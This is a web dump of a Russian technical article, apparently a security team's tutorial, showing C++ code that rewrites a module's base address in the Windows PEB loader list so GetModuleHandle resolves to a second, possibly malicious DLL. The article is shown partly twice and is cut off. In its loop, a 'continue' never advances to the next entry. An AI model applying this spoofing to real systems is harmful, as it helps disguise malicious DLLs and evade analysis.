src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aba\/f9e\/e44\/abaf9ee44b90c400b9853db58706b19e.png\" width=\"146\" height=\"161\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aba\/f9e\/e44\/abaf9ee44b90c400b9853db58706b19e.png\"\/><\/figure>\n<p>\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u043e\u0431\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0432\u044b\u0437\u043e\u0432:<\/p>\n<pre><code class=\"cpp\">#include \"Windows.h\"  int main() { LoadLibraryW(L\"OrigDll.dll\"); LoadLibraryW(L\"SecondLibrary.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"newFunc\"))();  }<\/code><\/pre>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fbd\/777\/f40\/fbd777f401b96809c57d3a9e7b3058cf.png\" width=\"146\" height=\"158\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fbd\/777\/f40\/fbd777f401b96809c57d3a9e7b3058cf.png\"\/><\/figure>\n<p>\u0422\u0430\u043a\u0430\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u0430 DLL \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u0443\u0436\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043f\u0440\u043e\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0430 \u0442\u0430\u043a \u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0435\u0439 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043e\u0442 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u0441\u0430\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>\u041c\u044b \u0443\u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043b\u0438 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0439 PEB, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0435\u0449\u0435 \u0438\u0445 \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u044b \u043a\u043e\u0433\u0434\u0430-\u043d\u0438\u0431\u0443\u0434\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0435\u043c!<\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0445\u0430\u043a\u0438\u043d\u0433 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 \u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u043e\u043c.<\/p>\n<p>\u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u043d\u0430\u0448 telegram-\u043a\u0430\u043d\u0430\u043b <a href=\"https:\/\/t.me\/authoritywear\" rel=\"noopener noreferrer nofollow\">AUTHORITY<\/a>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/811107\/\"> https:\/\/habr.com\/ru\/articles\/811107\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 <a href=\"https:\/\/habr.com\/ru\/articles\/808787\/\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435 <\/a>\u043c\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 PEB \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u043a\u0430\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438.<br \/>\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044f \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0441 PEB, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u0443\u044e \u0438\u0437 DLL \u0444\u0443\u043d\u043a\u0446\u0438\u044e.<\/p>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438\u0437 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438:<\/p>\n<pre><code class=\"cpp\">#include \"Windows.h\" int main() { LoadLibraryW(L\"OrigDll.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); }<\/code><\/pre>\n<p>\u041d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443, \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u044e\u0449\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e foo1:<\/p>\n<pre><code class=\"cpp\">extern \"C\" __declspec(dllexport) void foo1() {     MessageBoxA(NULL, \"Orig\", \"Orig\", MB_OK); } BOOL APIENTRY DllMain( HMODULE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                      ) {     switch (ul_reason_for_call)     {     case DLL_PROCESS_ATTACH:     case DLL_THREAD_ATTACH:     case DLL_THREAD_DETACH:     case DLL_PROCESS_DETACH:         break;     }     return TRUE; }<\/code><\/pre>\n<p>\u041f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u043e\u043c \u0445\u043e\u0434\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"\"><\/figure>\n<p>\u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 IDA Pro \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 foo1<\/p>\n<p>\u041f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0442\u043e\u0447\u043a\u0443 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0430<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u043e\u043c \u0438 \u0432 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 \u043d\u0430\u0439\u0434\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e kernelbase_GetModuleHandleW \u0438\u0437 kernelbase.dll :<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f NULL, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f ImageBaseAddress \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0437 PEB, \u0447\u0442\u043e \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442 \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 PEB \u0434\u043b\u044f \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0441\u043a\u043e\u043c\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<br \/>\u0418\u043d\u0430\u0447\u0435, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f ntdll_LdrGetDllHandle.<\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 ntdll.dll:<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f LdrGetDllHandleEx, \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u0445 \u0431\u044b\u043b\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435 ldrapi.c<\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043a <a href=\"https:\/\/doxygen.reactos.org\/d7\/d55\/ldrapi_8c.html#a765316e08d43c48de382004d9fb1a4ec\" rel=\"noopener noreferrer nofollow\">\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0430\u043c <\/a>ReactOS, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0445\u043e\u0442\u044c \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043f\u0438\u0435\u0439 Windows, \u0432\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.<\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 LDR_DATA_TABLE_ENTRY, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 PEB.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 PEB \u0431\u0443\u0434\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0441 DLL, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c 2 DLL \u0441 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u043c\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438<\/p>\n<p>\u0421\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">int main() { LoadLibraryW(L\"OrigDll.dll\"); LoadLibraryW(L\"SecondLibrary.dll\"); (GetProcAddress(GetModuleHandleW(L\"OrigDll.dll\"),\"foo1\"))(); (GetProcAddress(GetModuleHandleW(L\"SecondLibrary.dll\"),\"foo1\"))();  }<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0432 \u0432\u0438\u0434\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0431\u0435\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439:<\/p>\n<figure class=\"\"><\/figure>\n<figure class=\"\"><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0441\u0430\u043c\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u043c\u0443.<\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 dll, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 GetModuleHandle.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0442\u0438\u043f\u044b \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043c\u0430\u043a\u0440\u043e\u0441 \u0434\u043b\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438 \u043a \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0443:<\/p>\n<pre><code class=\"cpp\">#ifndef TO_LOWERCASE #define TO_LOWERCASE(out, c1) (out = (c1 &lt;= 'Z' &amp;&amp; c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1) #endif  typedef struct _UNICODE_STRING {     USHORT Length;     USHORT MaximumLength;     PWSTR  Buffer;  } UNICODE_STRING, * PUNICODE_STRING;  typedef struct _PEB_LDR_DATA {     ULONG Length;     BOOLEAN Initialized;     HANDLE SsHandle;     LIST_ENTRY InLoadOrderModuleList;     LIST_ENTRY InMemoryOrderModuleList;     LIST_ENTRY InInitializationOrderModuleList;     PVOID      EntryInProgress;  } PEB_LDR_DATA, * PPEB_LDR_DATA;  typedef struct _LDR_DATA_TABLE_ENTRY {     LIST_ENTRY  InLoadOrderModuleList;     LIST_ENTRY  InMemoryOrderModuleList;     LIST_ENTRY  InInitializationOrderModuleList;     void* BaseAddress;     void* EntryPoint;     ULONG   SizeOfImage;     UNICODE_STRING FullDllName;     UNICODE_STRING BaseDllName;     ULONG   Flags;     SHORT   LoadCount;     SHORT   TlsIndex;     HANDLE  SectionHandle;     ULONG   CheckSum;     ULONG   TimeDateStamp; } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;   typedef struct _PEB {     UCHAR InheritedAddressSpace;                                            \/\/0x0     UCHAR ReadImageFileExecOptions;                                         \/\/0x1     UCHAR BeingDebugged;                                                    \/\/0x2     union     {         UCHAR BitField;                                                     \/\/0x3         struct         {             UCHAR ImageUsesLargePages : 1;                                    \/\/0x3             UCHAR IsProtectedProcess : 1;                                     \/\/0x3             UCHAR IsImageDynamicallyRelocated : 1;                            \/\/0x3             UCHAR SkipPatchingUser32Forwarders : 1;                           \/\/0x3             UCHAR IsPackagedProcess : 1;                                      \/\/0x3             UCHAR IsAppContainer : 1;                                         \/\/0x3             UCHAR IsProtectedProcessLight : 1;                                \/\/0x3             UCHAR IsLongPathAwareProcess : 1;                                 \/\/0x3         };     };     UCHAR Padding0[4];                                                      \/\/0x4     VOID* Mutant;                                                           \/\/0x8     VOID* ImageBaseAddress;                                                 \/\/0x10     struct _PEB_LDR_DATA* Ldr;                                              \/\/0x18     struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 \/\/0x20 } PEB, * PPEB;<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0430\u0434\u0440\u0435\u0441\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f \u043a PEB_LDR_DATA.<\/p>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 PEB:<\/p>\n<pre><code class=\"cpp\">PPEB peb = NULL; peb = (PPEB)__readgsqword(0x60);<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0430\u0434\u0440\u0435\u0441 PEB_LDR_DATA:<\/p>\n<pre><code class=\"cpp\">_PEB_LDR_DATA* ldr = peb->Ldr;<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 InLoadOrderModuleList \u0442\u0438\u043f\u0430 LIST_ENTRY, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0432\u0443\u0441\u0432\u044f\u0437\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439:<\/p>\n<pre><code class=\"cpp\">LIST_ENTRY list = ldr->InLoadOrderModuleList;<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445, \u0431\u0443\u0434\u0435\u043c \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0442\u044c \u0438\u043c\u044f \u043c\u043e\u0434\u0443\u043b\u044f, \u0441 \u0438\u0441\u043a\u043e\u043c\u044b\u043c:<\/p>\n<pre><code class=\"cpp\">PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&amp;list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink;  while (curr_module != NULL &amp;&amp; curr_module->BaseAddress != NULL) {     if (curr_module->BaseDllName.Buffer == NULL) continue;     WCHAR* curr_name = curr_module->BaseDllName.Buffer;      size_t i = 0;     for (i = 0; module_name[i] != 0 &amp;&amp; curr_name[i] != 0; i++) {         WCHAR c1, c2;         TO_LOWERCASE(c1, module_name[i]);         TO_LOWERCASE(c2, curr_name[i]);         if (c1 != c2) break;     }     if (module_name[i] == 0 &amp;&amp; curr_name[i] == 0) {             \/\/found     }     curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; }<\/code><\/pre>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043c\u043e\u0434\u0443\u043b\u044c \u0432 PEB \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043d\u0430\u0443\u0447\u0438\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u043d\u0430\u0439\u0434\u0435\u043d, \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u0435\u0433\u043e BaseAddress \u0438 \u0437\u0430\u043e\u0434\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u043b\u0438 \u043e\u043d \u0441 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c GetModuleHandle.<br \/>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u0430\u0434\u0440\u0435\u0441\u0430 DLL:<\/p>\n<pre><code class=\"cpp\">BOOL spoofDllHandle(WCHAR* module_name, LPVOID newHandle) {     PPEB peb = NULL;     peb = (PPEB)__readgsqword(0x60);     _PEB_LDR_DATA* ldr = peb->Ldr;     LIST_ENTRY list = ldr->InLoadOrderModuleList;      PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&amp;list));     PLDR_DATA_TABLE_ENTRY curr_module = Flink;      while (curr_module != NULL &amp;&amp; curr_module->BaseAddress != NULL) {         if (curr_module->BaseDllName.Buffer == NULL) continue;         WCHAR* curr_name = curr_module->BaseDllName.Buffer;          size_t i = 0;         for (i = 0; module_name[i] != 0 &amp;&amp; curr_name[i] != 0; i++) {             WCHAR c1, c2;             TO_LOWERCASE(c1, module_name[i]);             TO_LOWERCASE(c2, curr_name[i]);             if (c1 != c2) break;         }         if (module_name[i] == 0 &amp;&amp; curr_name[i] == 0) {             curr_module->BaseAddress = newHandle;             if (GetModuleHandleW(module_name) == newHandle)                 return TRUE;             return FALSE;         }         curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;     }     return FALSE; }<\/code><\/pre>\n<p>\u0427\u0442\u043e \u0441 \u044d\u0442\u0438\u043c \u0434\u0435\u043b\u0430\u0442\u044c-\u0442\u043e?<\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u0430\u044f DLL \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439. \u0422\u0430\u043a\u043e\u0435 \u0447\u0430\u0441\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u043a \u043f\u043e\u0434\u043c\u0435\u043d\u0435 DLL.<\/p>\n<p>\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u0439 DLL \u0432 DllMain \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0432\u044b\u0437\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 